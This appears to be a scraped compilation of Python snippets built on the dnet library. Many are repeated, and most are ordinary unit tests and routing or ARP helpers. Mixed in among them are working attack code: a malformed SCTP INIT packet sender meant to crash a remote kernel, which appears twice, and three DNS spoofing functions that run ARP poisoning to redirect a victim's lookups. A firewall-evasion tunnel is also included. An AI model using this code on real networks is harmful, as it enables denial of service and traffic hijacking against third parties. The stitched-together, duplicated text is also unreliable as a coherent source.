def test_addr_properties(self): atxt = '1.2.3.4/24' a = dnet.addr(atxt) assert a.type == dnet.ADDR_TYPE_IP and a.bits == 24 assert a.ip == '\x01\x02\x03\x04' and a.__str__() == atxt try: self.failUnless(a.eth == 'xxx', 'invalid eth property') except ValueError: pass atxt = '00:0d:0e:0a:0d:00' a = dnet.addr(atxt) assert a == dnet.addr('0:d:E:a:D:0') assert a.type == dnet.ADDR_TYPE_ETH and a.bits == 48 assert a.eth == '\x00\x0d\x0e\x0a\x0d\x00' and a.__str__() == atxt try: self.failUnless(a.ip6 == 'xxx', 'invalid ip6 property') except ValueError: pass atxt = 'fe80::dead:beef:feed:face/48' a = dnet.addr(atxt) assert a == dnet.addr('fe80:0:0::dead:beef:feed:face/48') assert a.type == dnet.ADDR_TYPE_IP6 and a.bits == 48 assert a.ip6 == '\xfe\x80\x00\x00\x00\x00\x00\x00\xde\xad\xbe\xef\xfe\xed\xfa\xce' and a.__str__( ) == atxt try: self.failUnless(a.ip == 'xxx', 'invalid ip property') except ValueError: pass
def test_intf_get(self): lo0 = self.intf.get('lo0') self.failUnless(lo0['name'] == 'lo0', "couldn't get loopback config") self.failUnless(self.intf.get_src(dnet.addr('127.0.0.1')) == lo0, "couldn't get_src 127.0.0.1") gw = self.intf.get_dst(dnet.addr('1.2.3.4')) self.failUnless(gw, "couldn't get outgoing interface")
def test_arp(self): # XXX - site-specific values here! pa = dnet.addr('192.168.0.123') ha = dnet.addr('0:d:e:a:d:0') self.failUnless(self.arp.add(pa, ha) == None, "couldn't add ARP entry") self.failUnless(self.arp.get(pa) == ha, "couldn't find ARP entry") self.failUnless(self.arp.delete(pa) == None, "couldn't delete ARP entry")
def test_parse(self): tests = { 'tcp': { 'p': [6] }, 'tcp or udp': { 'p': [6, 17] }, 'tcp and dst port 80': { 'p': [6], 'dport': [80] }, 'tcp and dst port 22 or 80': { 'p': [6], 'dport': [22, 80] }, 'dst 1.2.3.4 and tcp and dst port 22': { 'p': [6], 'dst': [dnet.addr('1.2.3.4')], 'dport': [22] }, 'dst net 5.6.7.0/24 or 1.2.3.0/24 and tcp and src port 80 or 81': { 'p': [6], 'sport': [80, 81], 'dst': [dnet.addr('5.6.7.0/24'), dnet.addr('1.2.3.0/24')] }, } parser = Parser() for k, v in tests.iteritems(): d = parser.parse(k) assert d == v, 'expected %r, got %r' % (v, d)
def AddRoute(self, network, gw): """Verifies that the route points to localhost.""" network = dnet.addr(network) gw = dnet.addr(gw) router = dnet.route() error = 0 try: res = router.delete(network) except OSError: if self.debug: print >> sys.stderr, "Cannot remove route: ", network try: res = router.add(network, gw) except OSError: if self.debug: print >> sys.stderr, "Cannot add route: ", network error = 1 if error: return 1 else: return 0
def test_arp(self): # XXX - site-specific values here! pa = dnet.addr('192.168.0.123') ha = dnet.addr('0:d:e:a:d:0') self.failUnless(self.arp.add(pa, ha) == None, "couldn't add ARP entry") self.failUnless(self.arp.get(pa) == ha, "couldn't find ARP entry") self.failUnless( self.arp.delete(pa) == None, "couldn't delete ARP entry")
def test_intf_get(self): lo0 = self.intf.get('lo0') self.failUnless(lo0['name'] == 'lo0', "couldn't get loopback config") self.failUnless( self.intf.get_src(dnet.addr('127.0.0.1')) == lo0, "couldn't get_src 127.0.0.1") gw = self.intf.get_dst(dnet.addr('1.2.3.4')) self.failUnless(gw, "couldn't get outgoing interface")
def test_addr_cmp(self): for atxt in ('1.2.3.0', '0:d:e:a:d:0', 'fe::ed:fa:ce:0'): a = dnet.addr(atxt) b = dnet.addr(atxt) assert a == b b = dnet.addr(atxt[:-1] + '1') assert a < b assert b > a
def test_intf_get(self): lo0 = self.intf.get(loopback_intf) self.assertTrue(lo0['name'] == loopback_intf, "couldn't get loopback config") self.assertTrue( self.intf.get_src(dnet.addr('127.0.0.1')) == lo0, "couldn't get_src 127.0.0.1") gw = self.intf.get_dst(dnet.addr('1.2.3.4')) self.assertTrue(gw, "couldn't get outgoing interface")
def set_arp(self): """Установить соответствие mac-ip в системной ARP-таблице""" if not self.mac: raise RuntimeError("MacAssoc.mac must be set first") if not self.ip: raise RuntimeError("MacAssoc.ip must be set first") arp = dnet.arp() _ip = dnet.addr(self.ip) _mac = dnet.addr(self.mac) added = arp.add(_ip, _mac) return added
def test_arp(self): # XXX - site-specific values here! pa = dnet.addr(local_ip) ha = dnet.addr(mac_addr) self.assertTrue(self.arp.add(pa, ha) == None, "couldn't add ARP entry") self.assertTrue(self.arp.get(pa) == ha, "couldn't find ARP entry") self.assertTrue( self.arp.delete(pa) == None, "couldn't delete ARP entry") self.assertTrue(self.arp.get(pa) == None, "wrong ARP entry present") self.assertTrue(self.arp.add(pa, ha) == None, "couldn't add ARP entry") self.assertTrue(self.arp.get(pa) == ha, "couldn't find ARP entry")
def set_int(self, interface): self.interface = interface self.bfd_filter = { "device" : self.interface, "op" : dnet.FW_OP_BLOCK, "dir" : dnet.FW_DIR_IN, "proto" : dpkt.ip.IP_PROTO_UDP, "src" : dnet.addr("0.0.0.0/0", dnet.ADDR_TYPE_IP), "dst" : dnet.addr("0.0.0.0/0", dnet.ADDR_TYPE_IP), "sport" : [0, 0], "dport" : [BFD_PORT, BFD_PORT] }
def set_int(self, interface): self.interface = interface self.eigrp_filter = { "device": self.interface, "op": dnet.FW_OP_BLOCK, "dir": dnet.FW_DIR_IN, "proto": dpkt.ip.IP_PROTO_EIGRP, "src": dnet.addr("0.0.0.0/0", dnet.ADDR_TYPE_IP), "dst": dnet.addr("0.0.0.0/0", dnet.ADDR_TYPE_IP), "sport": [0, 0], "dport": [0, 0] }
def test_fw(self): src = dnet.addr('1.2.3.4') dst = dnet.addr('5.6.7.8') d = {'device': self.dev, 'op': dnet.FW_OP_BLOCK, 'dir': dnet.FW_DIR_OUT, 'proto': dnet.IP_PROTO_UDP, 'src': src, 'dst': dst, 'dport': (660, 666) } self.failUnless(self.fw.add(d) is None, "couldn't add firewall rule: %s" % d) self.failUnless(self.fw.delete(d) is None, "couldn't delete firewall rule: %s" % d)
def get_interface_to_target(dst): if sys.platform == "win32": try: import dnet intf = dnet.intf() inte = intf.get_dst(dnet.addr(dst)) return str(inte['addr']).split("/")[0] except ImportError: # dnet lib is not installed return get_close_matches(dst, local_ips())[0] else: # based on scapy implementation def atol(x): ip = socket.inet_aton(x) return struct.unpack("!I", ip)[0] routes = get_routes() dst = atol(dst) pathes = [] for d, m, gw, i, a in routes: aa = atol(a) if aa == dst: pathes.append((0xffffffffL, ("lo", a, "0.0.0.0"))) if (dst & m) == (d & m): pathes.append((m, (i, a, gw))) if not pathes: return None pathes.sort() ret = pathes[-1][1] return ret[1]
def test_fw(self): src = dnet.addr('1.2.3.4') dst = dnet.addr('5.6.7.8') d = { 'device': self.dev, 'op': dnet.FW_OP_BLOCK, 'dir': dnet.FW_DIR_OUT, 'proto': dnet.IP_PROTO_UDP, 'src': src, 'dst': dst, 'dport': (660, 666) } self.failUnless( self.fw.add(d) == None, "couldn't add firewall rule: %s" % d) self.failUnless( self.fw.delete(d) == None, "couldn't delete firewall rule: %s" % d)
def lookupdev(): """XXX - better pcap_lookupdev()""" intf = dnet.intf() ifent = intf.get_dst(dnet.addr('1.2.3.4')) or \ [ x for x in intf if x['flags'] & dnet.INTF_FLAG_UP and x['type'] == dnet.INTF_TYPE_ETH ][0] return ifent['name']
def del_arp(self, ip): """Установить соответствие mac-ip в системной ARP-таблице""" if not self.ip: raise RuntimeError("MacAssoc.ip must be set first") arp = dnet.arp() _ip = dnet.addr(self.ip) deleted = arp.delete(_ip) return deleted
def test_parse(self): tests = { 'tcp':{ 'p':[6] }, 'tcp or udp':{ 'p':[6,17] }, 'tcp and dst port 80':{ 'p':[6], 'dport':[80] }, 'tcp and dst port 22 or 80':{ 'p':[6], 'dport':[22,80] }, 'dst 1.2.3.4 and tcp and dst port 22': { 'p':[6], 'dst':[dnet.addr('1.2.3.4')], 'dport':[22] }, 'dst net 5.6.7.0/24 or 1.2.3.0/24 and tcp and src port 80 or 81': { 'p':[6], 'sport':[80,81], 'dst':[dnet.addr('5.6.7.0/24'), dnet.addr('1.2.3.0/24')] }, } parser = Parser() for k, v in tests.iteritems(): d = parser.parse(k) assert d == v, 'expected %r, got %r' % (v, d)
def get_lapis_route (routes, gateway = None): if gateway: gateway = dnet.addr (str (gateway)) for r in list (routes): if r [0] != MCAST_LAPIS_IFACE: routes.remove (r) elif gateway and r [2] != gateway: routes.remove (r) return (routes)
def test_addr_bcast(self): d = { 32:'10.0.0.0', 31:'10.0.0.1', 30:'10.0.0.3', 29:'10.0.0.7', 28:'10.0.0.15', 27:'10.0.0.31', 26:'10.0.0.63', 25:'10.0.0.127', 24:'10.0.0.255', 23:'10.0.1.255', 22:'10.0.3.255', 21:'10.0.7.255', 20:'10.0.15.255', 19:'10.0.31.255' } for bits in d: a = dnet.addr('%s/%d' % (d[32], bits)) b = a.bcast() self.failUnless(b.__str__() == d[bits], 'wrong bcast for /%d' % bits)
def test_match(self): matcher = Matcher() matcher.add('ping', p=1, dport=8) matcher.add('ssh', p=6, dport=22) matcher.add('tcp', p=6) matcher.add('http', p=6, dport=80) matcher.add('dns', p=17, dport=53) matcher.add('gre', p=47) matcher.add('intranet', dst=dnet.addr('10.0.0.0/8')) matcher.add('testbed', dst=dnet.addr('10.0.5.0/24')) assert matcher.match(p=6, dport=22) == ['ssh', 'tcp'] assert matcher.match(dst=dnet.addr('10.1.2.3'), p=17, dport=53) == ['dns', 'intranet'] assert matcher.match(dst=dnet.addr('10.0.5.0'), p=6, dport=23) == [ 'intranet', 'tcp', 'testbed' ] assert matcher.match(dst=dnet.addr('1.2.3.4'), p=17, dport=80) == [] assert matcher.match(p=6, dport=80) == ['http', 'tcp'] assert matcher.match(p=6, dport=666) == ['tcp'] assert matcher.match(p=50) == [] assert matcher.match(p=1, dport=8) == ['ping'] assert matcher.match(p=1, dport=0) == []
def test_addr_net(self): d = {32: '1.255.255.255', 31: '1.255.255.254', 30: '1.255.255.252', 29: '1.255.255.248', 28: '1.255.255.240', 27: '1.255.255.224', 26: '1.255.255.192', 25: '1.255.255.128', 24: '1.255.255.0', 23: '1.255.254.0', 22: '1.255.252.0', 21: '1.255.248.0', 20: '1.255.240.0', 19: '1.255.224.0'} for bits in d: a = dnet.addr('%s/%d' % (d[32], bits)) b = a.net() self.failUnless(b.__str__() == d[bits], 'wrong net for /%d' % bits)
def test_fcap(self): fcap = Fcap() fcap.add('tcp and dst port 22', 'ssh') fcap.add('tcp and dst port 80', 'http') assert fcap.match(src=1, dst=2, p=6, dport=22) == ['ssh'] assert fcap.match(src=1, dst=2, p=17, dport=22) == [] assert fcap.pcap_filter() == '(tcp port 22 or 80)' fcap.delete('tcp and dst port 22', 'ssh') assert fcap.match(src=1, dst=2, p=6, dport=22) == [] assert fcap.pcap_filter() == '(tcp port 80)' fcap.add('tcp and dst port 80 and dst net 216.239.32.0/19 or 72.14.192.0/19', 'GOGL') assert fcap.match(dst=dnet.addr('72.14.192.123'), p=6, dport=80) == [ 'GOGL', 'http' ]
def main(): if len(sys.argv) != 3: usage() host = sys.argv[1] port = int(sys.argv[2]) try: sock = dnet.ip() intf = dnet.intf() except OSError: err('requires root privileges for raw socket access') dst_addr = socket.gethostbyname(host) interface = intf.get_dst(dnet.addr(dst_addr)) src_addr = interface['addr'].ip msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port)) invalid = '' invalid += '\x20\x10\x11\x73' invalid += '\x00\x00\xf4\x00' invalid += '\x00\x05' invalid += '\x00\x05' invalid += '\x20\x10\x11\x73' for i in xrange(20): invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff' init = dpkt.sctp.Chunk() init.type = dpkt.sctp.INIT init.data = invalid init.len = len(init) sctp = dpkt.sctp.SCTP() sctp.sport = 0x1173 sctp.dport = port sctp.data = [init] ip = dpkt.ip.IP() ip.src = src_addr ip.dst = dnet.ip_aton(dst_addr) ip.p = dpkt.ip.IP_PROTO_SCTP ip.data = sctp ip.len = len(ip) print ` ip ` pkt = dnet.ip_checksum(str(ip)) sock.send(pkt) msg('kernel should have panicked on remote host %s' % (dst_addr))
def main(): if len(sys.argv) != 3: usage() host = sys.argv[1] port = int(sys.argv[2]) try: sock = dnet.ip() intf = dnet.intf() except OSError: err('requires root privileges for raw socket access') dst_addr = socket.gethostbyname(host) interface = intf.get_dst(dnet.addr(dst_addr)) src_addr = interface['addr'].ip msg('sending malformed SCTP INIT msg to %s:%s' % (dst_addr, port)) invalid = '' invalid += '\x20\x10\x11\x73' invalid += '\x00\x00\xf4\x00' invalid += '\x00\x05' invalid += '\x00\x05' invalid += '\x20\x10\x11\x73' for i in xrange(20): invalid += '\xc0\xff\x00\x08\xff\xff\xff\xff' init = dpkt.sctp.Chunk() init.type = dpkt.sctp.INIT init.data = invalid init.len = len(init) sctp = dpkt.sctp.SCTP() sctp.sport = 0x1173 sctp.dport = port sctp.data = [ init ] ip = dpkt.ip.IP() ip.src = src_addr ip.dst = dnet.ip_aton(dst_addr) ip.p = dpkt.ip.IP_PROTO_SCTP ip.data = sctp ip.len = len(ip) print `ip` pkt = dnet.ip_checksum(str(ip)) sock.send(pkt) msg('kernel should have panicked on remote host %s' % (dst_addr))
def test_match(self): matcher = Matcher() matcher.add('ping', p=1, dport=8) matcher.add('ssh', p=6, dport=22) matcher.add('tcp', p=6) matcher.add('http', p=6, dport=80) matcher.add('dns', p=17, dport=53) matcher.add('gre', p=47) matcher.add('intranet', dst=dnet.addr('10.0.0.0/8')) matcher.add('testbed', dst=dnet.addr('10.0.5.0/24')) assert matcher.match(p=6, dport=22) == ['ssh', 'tcp'] assert matcher.match(dst=dnet.addr('10.1.2.3'), p=17, dport=53) == ['dns', 'intranet'] assert matcher.match(dst=dnet.addr('10.0.5.0'), p=6, dport=23) == ['intranet', 'tcp', 'testbed'] assert matcher.match(dst=dnet.addr('1.2.3.4'), p=17, dport=80) == [] assert matcher.match(p=6, dport=80) == ['http', 'tcp'] assert matcher.match(p=6, dport=666) == ['tcp'] assert matcher.match(p=50) == [] assert matcher.match(p=1, dport=8) == ['ping'] assert matcher.match(p=1, dport=0) == []
def route_decode (jdata, addr): data = json.loads (jdata) for net in list (data["networks"]): data ["networks"].remove (net) data ["networks"].append (str(net)) if addr != data ["localip"]: logger.warn ("Pair %s annouunce route tagged as %s" % (addr, data ["localip"])) elif hash_route (data ["networks"], addr) != data ["hash"]: logger.warn ("Pair %s announce an invalid hash" % (addr)) else: if not announcer.has_key (addr): announcer [addr] = {"announce_time": 0, "last_announce": 0} announcer [addr] ["announce_time"] = data ["announce_time"] announcer [addr] ["last_announce"] = int (time.time()) gateway = dnet.addr (addr) routes = get_lapis_route (get_routes ()) oldnets = {} for r in routes: oldnets [r [1]] = r [2] for n in data ["networks"]: net = dnet.addr (n) if net.bits < SECURITY: logger.warn ("Dropping net %s when adding by security flag" % n) elif net not in oldnets.keys (): logger.info ("Adding route %s to %s" % (n, addr)) try: iR.add (net, gateway) except Exception: logger.exception ("Error when adding route") elif oldnets [net] != gateway: logger.info ("Replacing route %s (from %s to %s" % (n, oldnets[net], addr)) try: iR.delete (net) iR.add (net, gateway) except Exception: logger.excepton("Error when replacing route")
def test_fcap(self): fcap = Fcap() fcap.add('tcp and dst port 22', 'ssh') fcap.add('tcp and dst port 80', 'http') assert fcap.match(src=1, dst=2, p=6, dport=22) == ['ssh'] assert fcap.match(src=1, dst=2, p=17, dport=22) == [] assert fcap.pcap_filter() == '(tcp port 22 or 80)' fcap.delete('tcp and dst port 22', 'ssh') assert fcap.match(src=1, dst=2, p=6, dport=22) == [] assert fcap.pcap_filter() == '(tcp port 80)' fcap.add( 'tcp and dst port 80 and dst net 216.239.32.0/19 or 72.14.192.0/19', 'GOGL') assert fcap.match(dst=dnet.addr('72.14.192.123'), p=6, dport=80) == ['GOGL', 'http']
def RemoveRoute(self, network): """Removes the route pointing to localhost.""" network = dnet.addr(network) router = dnet.route() error = 0 try: res = router.delete(network) except OSError: if self.debug: print >> sys.stderr, "Cannot remove route: ", network error = 1 if error: return 1 else: return 0
def test_addr_net(self): d = { 32: '1.255.255.255', 31: '1.255.255.254', 30: '1.255.255.252', 29: '1.255.255.248', 28: '1.255.255.240', 27: '1.255.255.224', 26: '1.255.255.192', 25: '1.255.255.128', 24: '1.255.255.0', 23: '1.255.254.0', 22: '1.255.252.0', 21: '1.255.248.0', 20: '1.255.240.0', 19: '1.255.224.0' } for bits in d: a = dnet.addr('%s/%d' % (d[32], bits)) b = a.net() self.failUnless(b.__str__() == d[bits], 'wrong net for /%d' % bits)
def on_add_button_clicked(self, data): dialog = gtk.MessageDialog( self.parent.window, gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_QUESTION, gtk.BUTTONS_OK_CANCEL, "Enter IP Address to add:") entry = gtk.Entry(0) dialog.vbox.pack_start(entry) entry.show() ret = dialog.run() dialog.destroy() if ret == gtk.RESPONSE_OK: try: peer = entry.get_text() arp = dnet.arp() mac = arp.get(dnet.addr(peer)) if not mac: raise Exception("Unable to get mac address") self.add_peer(mac.data, dnet.ip_aton(peer), int(self.as_spinbutton.get_value())) except Exception, e: self.log("EIGRP: Cant add peer %s: %s" % (peer, e))
def test_itree(self): it = Itree() it.add(0, 10, 'dec') it.add(0, 16, 'hex') it.add(0, 8, 'oct') it.add('a', 'f', 'a-f') a = dnet.addr('10.0.0.0/8') it.add(a.net(), a.bcast(), '10/8') assert it.match(-5, -5) == it.match(33, 33) == [] assert it.match(-10, 0) == ['hex', 'dec', 'oct'] assert it.match(5, 8) == ['hex', 'dec', 'oct'] assert it.match(9, 10) == ['hex', 'dec'] assert it.match(16, 23) == ['hex'] assert it.match('c') == ['a-f'] assert it.match('b0rked', 'dugsong') == ['a-f'] assert it.match('z') == [] assert it.match(dnet.addr('10.0.0.1')) == ['10/8'] assert it.match(dnet.addr('10.0.0.0'), dnet.addr('10.255.255.255')) == ['10/8'] assert it.match(dnet.addr('10.0.1.0'), dnet.addr('10.0.1.255')) == ['10/8'] assert it.match(dnet.addr('1.0.0.10')) == []
def test_addr_bcast(self): d = { 32: '10.0.0.0', 31: '10.0.0.1', 30: '10.0.0.3', 29: '10.0.0.7', 28: '10.0.0.15', 27: '10.0.0.31', 26: '10.0.0.63', 25: '10.0.0.127', 24: '10.0.0.255', 23: '10.0.1.255', 22: '10.0.3.255', 21: '10.0.7.255', 20: '10.0.15.255', 19: '10.0.31.255' } for bits in d: a = dnet.addr('%s/%d' % (d[32], bits)) b = a.bcast() self.failUnless(b.__str__() == d[bits], 'wrong bcast for /%d' % bits)
def on_add_button_clicked(self, data): dialog = gtk.MessageDialog( self.parent.window, gtk.DIALOG_MODAL | gtk.DIALOG_DESTROY_WITH_PARENT, gtk.MESSAGE_QUESTION, gtk.BUTTONS_OK_CANCEL, "Enter IP Address to add:", ) entry = gtk.Entry(0) dialog.vbox.pack_start(entry) entry.show() ret = dialog.run() dialog.destroy() if ret == gtk.RESPONSE_OK: try: peer = entry.get_text() arp = dnet.arp() mac = arp.get(dnet.addr(peer)) if not mac: raise Exception("Unable to get mac address") self.add_peer(mac.data, dnet.ip_aton(peer), int(self.as_spinbutton.get_value())) except Exception, e: self.log("EIGRP: Cant add peer %s: %s" % (peer, e))
def main(self): if len(sys.argv) < 4: print 'Usage: %s interface target_ip target_port' % sys.argv[0] sys.exit(1) print '0trace.py by Jon Oberheide <*****@*****.**>' interface = sys.argv[1] target_ip = dnet.addr(sys.argv[2]) target_port = sys.argv[3] filter = 'src host %s and src port %s and (tcp[13] & 0x17 == 0x10)' % \ (target_ip, target_port) pc = pcap.pcap(interface) pc.setfilter(filter) pc.setnonblock(True) print '[+] Waiting for traffic from target on %s...' % interface while True: rfd, wfd, efd = select.select([pc.fileno()], [], []) if rfd: ts, pkt = pc.next() break print '[+] Traffic acquired, waiting for a gap...' while True: rfd, wfd, efd = select.select([pc.fileno()], [], [], 3) if not rfd: break ts, pkt = pc.next() eth = dpkt.ethernet.Ethernet(pkt) ip = eth.data tcp = ip.data ip.src, ip.dst = ip.dst, ip.src tcp.seq, tcp.ack = tcp.ack, tcp.seq tcp.sport, tcp.dport = tcp.dport, tcp.sport print '[+] Target acquired: %s:%s -> %s:%s (%s/%s)' % \ (dnet.ip_ntoa(ip.src), tcp.sport, dnet.ip_ntoa(ip.dst), tcp.dport, tcp.seq, tcp.ack) print '[+] Setting up a sniffer...' m = Monitor('icmp or (%s)' % filter) m.start() time.sleep(1) print '[+] Sending probes...' p = AckProbe(ip, tcp) p.start() p.join() m.join(5) print print 'TRACE RESULTS' print '-------------' m.hops = list(sets.Set(m.hops)) m.hops.sort() for id, hop in m.hops: print '%d %s' % (id, dnet.ip_ntoa(hop)) if m.reached: print 'Target reached.' else: print 'Probe rejected by target.' print
if __name__ == "__main__": if len(sys.argv) != 2: print 'Usage:' print print '%s blocked_ip' % sys.argv[0] sys.exit(1) blocked_dest = sys.argv[1] my_real_addr = socket.gethostbyname_ex(socket.gethostname())[2][0] my_addr = "10.78.0.2" get_router() tun = dnet.tun(dnet.addr(my_addr), dnet.addr(blocked_dest)) raw_sock = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) raw_sock.bind((IFACE, 0x0003)) try: while 1: ready_list,_,_ = select.select([tun, raw_sock], [], []) for sock in ready_list: if sock == raw_sock: # forward packet to tun device if from the proxy e = dpkt.ethernet.Ethernet(raw_sock.recv(0xffff)) if isinstance(e.data, dpkt.ip.IP): if e.data.src == socket.inet_aton(blocked_dest) and \ e.data.dst == socket.inet_aton(my_real_addr):
import code if __name__=='__main__': print 'TESTING SENDER' options.pnum = 1000 options.rate = 0.1 options.plen = 64 options.delta = 1e-3 options.DST = '192.168.1.1' eth_info = dnet.intf().get_dst(dnet.addr(options.DST)) net_info = {} net_info['eth'] = eth_info['name'] net_info['ip_src'] = dnet.addr(eth_info['addr'].ip) net_info['ip_dst'] = dnet.addr(options.DST, dnet.ADDR_TYPE_IP) options.net_info = net_info # class ns: pass # ns.cnum = None # ns.RCV_READY = True # sendloop(ns, busy_loop=False)
def setUp(self): self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name'] self.eth = dnet.eth(self.dev) self.failUnless(self.eth, "couldn't open Ethernet handle")
def setUp(self): self.dev = dnet.intf().get_dst(dnet.addr('1.2.3.4'))['name'] self.fw = dnet.fw() self.failUnless(self.fw, "couldn't open firewall handle")
def test_route(self): dst = dnet.addr('1.2.3.4/24') gw = dnet.addr('127.0.0.1') self.route.add(dst, gw) self.failUnless(self.route.get(dst) == gw) self.route.delete(dst)
def getmac(theaddr): return dnet.arp().get(dnet.addr(theaddr))
def dns_spoof(dev, source_mac, source, target = None, host = None, redirection = None): redirection = gethostbyname(redirection) sock = dnet.ip() filter = 'udp dst port 53' if target: filter += ' and src %s' % target print '[+] Start poisoning on ' + G + dev + W + ' between ' + G + source + W + ' and ' + R + target + W # need to create a daemon that continually poison our target thread = Thread(target = poison, args = (dev, source_mac, source, target, 2, )) thread.daemon = True thread.start() pc = pcap.pcap(dev) pc.setfilter(filter) print '[+] Redirecting ' + G + host + W + ' to ' + G + redirection + W + ' for ' + R + target + W try: for ts, pkt in pc: eth = dpkt.ethernet.Ethernet(pkt) ip = eth.data udp = ip.data dns = dpkt.dns.DNS(udp.data) # validate query if dns.qr != dpkt.dns.DNS_Q: continue if dns.opcode != dpkt.dns.DNS_QUERY: continue if len(dns.qd) != 1: continue if len(dns.an) != 0: continue if len(dns.ns) != 0: continue if dns.qd[0].cls != dpkt.dns.DNS_IN: continue if dns.qd[0].type != dpkt.dns.DNS_A: continue # spoof for our target name if dns.qd[0].name != host: continue # dns query->response dns.op = dpkt.dns.DNS_RA dns.rcode = dpkt.dns.DNS_RCODE_NOERR dns.qr = dpkt.dns.DNS_R # construct fake answer arr = dpkt.dns.DNS.RR() arr.cls = dpkt.dns.DNS_IN arr.type = dpkt.dns.DNS_A arr.name = host arr.ip = dnet.addr(redirection).ip # arr.ip = '\x4D\xEE\xB8\x96' dns.an.append(arr) udp.sport, udp.dport = udp.dport, udp.sport ip.src, ip.dst = ip.dst, ip.src udp.data = dns udp.ulen = len(udp) ip.len = len(ip) print inet_ntoa(ip.src) buf = dnet.ip_checksum(str(ip)) try: sock.send(buf) except: pass except KeyboardInterrupt: print '[+] DNS spoofing interrupted\n\r' set_ip_forward(0)
def dns_spoof(self, host=None, redirection=None): """ Redirect all incoming request for 'host' to 'redirection' """ pcap_filter = self._build_pcap_filter('udp dst port 53 and src ') redirection = gethostbyname(redirection) sock = dnet.ip() print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + self.gateway + W + ' and ' + R + (','.join(self.target) if isinstance(self.target, list ) else self.target) + W + '\n') # need to create a daemon that continually poison our target poison_thread = Thread(target=self.poison, args=(2, )) poison_thread.daemon = True poison_thread.start() packets = pcap.pcap(self.dev) packets.setfilter(pcap_filter) print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection + W + ' for ' + R + (','.join(self.target) if isinstance(self.target, list ) else self.target) + W) try: for _, pkt in packets: eth = dpkt.ethernet.Ethernet(pkt) ip_packet = eth.data udp = ip_packet.data dns = dpkt.dns.DNS(udp.data) # validate query if dns.qr != dpkt.dns.DNS_Q: continue if dns.opcode != dpkt.dns.DNS_QUERY: continue if len(dns.qd) != 1: continue if len(dns.an) != 0: continue if len(dns.ns) != 0: continue if dns.qd[0].cls != dpkt.dns.DNS_IN: continue if dns.qd[0].type != dpkt.dns.DNS_A: continue # spoof for our target name if dns.qd[0].name != host: continue # dns query->response dns.op = dpkt.dns.DNS_RA dns.rcode = dpkt.dns.DNS_RCODE_NOERR dns.qr = dpkt.dns.DNS_R # construct fake answer arr = dpkt.dns.DNS.RR() arr.cls, arr.type, arr.name = dpkt.dns.DNS_IN, dpkt.dns.DNS_A, host arr.ip = dnet.addr(redirection).ip dns.an.append(arr) udp.sport, udp.dport = udp.dport, udp.sport ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src udp.data, udp.ulen = dns, len(udp) ip_packet.len = len(ip_packet) print(inet_ntoa(ip_packet.src)) buf = dnet.ip_checksum(str(ip_packet)) sock.send(buf) except KeyboardInterrupt: print('[+] DNS spoofing interrupted\n\r') self.restore(2) utils.set_ip_forward(0)
def dns_spoof(dev, source_mac, source, target=None, host=None, redirection=None): redirection = gethostbyname(redirection) sock = dnet.ip() pcap_filter = 'udp dst port 53' if target: pcap_filter += ' and src %s' % target print('[+] Start poisoning on ' + G + dev + W + ' between ' + G + source + W + ' and ' + R + target + W) # need to create a daemon that continually poison our target thread = Thread(target=poison, args=( dev, source_mac, source, target, 2, )) thread.daemon = True thread.start() pc = pcap.pcap(dev) pc.setfilter(pcap_filter) print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection + W + ' for ' + R + target + W) try: for ts, pkt in pc: eth = dpkt.ethernet.Ethernet(pkt) ip = eth.data udp = ip.data dns = dpkt.dns.DNS(udp.data) # validate query if dns.qr != dpkt.dns.DNS_Q: continue if dns.opcode != dpkt.dns.DNS_QUERY: continue if len(dns.qd) != 1: continue if len(dns.an) != 0: continue if len(dns.ns) != 0: continue if dns.qd[0].cls != dpkt.dns.DNS_IN: continue if dns.qd[0].type != dpkt.dns.DNS_A: continue # spoof for our target name if dns.qd[0].name != host: continue # dns query->response dns.op = dpkt.dns.DNS_RA dns.rcode = dpkt.dns.DNS_RCODE_NOERR dns.qr = dpkt.dns.DNS_R # construct fake answer arr = dpkt.dns.DNS.RR() arr.cls = dpkt.dns.DNS_IN arr.type = dpkt.dns.DNS_A arr.name = host arr.ip = dnet.addr(redirection).ip # arr.ip = '\x4D\xEE\xB8\x96' dns.an.append(arr) udp.sport, udp.dport = udp.dport, udp.sport ip.src, ip.dst = ip.dst, ip.src udp.data = dns udp.ulen = len(udp) ip.len = len(ip) print(inet_ntoa(ip.src)) buf = dnet.ip_checksum(str(ip)) sock.send(buf) except KeyboardInterrupt: print('[+] DNS spoofing interrupted\n\r') utils.set_ip_forward(0)